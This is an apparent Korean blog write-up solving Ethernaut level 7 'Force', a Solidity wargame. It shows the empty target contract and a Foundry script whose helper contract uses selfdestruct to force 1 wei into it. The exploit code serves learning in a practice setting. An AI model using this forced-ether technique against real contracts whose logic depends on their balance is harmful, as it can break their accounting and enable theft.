The Ethernaut - 7. Force

Gunter·2024년 10월 20일
0

The Ethernaut

목록 보기
8/26

Some contracts will simply not take your money ¯_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

Fallback methods
Sometimes the best way to attack a contract is with another contract.
See the "?" page above, section "Beyond the console"

 


문제 코드가.. 귀엽다..

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";

contract ToBeDestructed {
    constructor(address payable _forceAddress) payable {
        selfdestruct(_forceAddress);
    }
}

contract POC is Script {

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        new ToBeDestructed{value: 1 wei}(payable(0xD06374D4321bE6a904a4f56a31244FCA0Ce6376f));
        vm.stopBroadcast();
    }
}

 

selfdestruct 배움, 컨트랙트가 이더리움 받는 건 막을 수 없다

0개의 댓글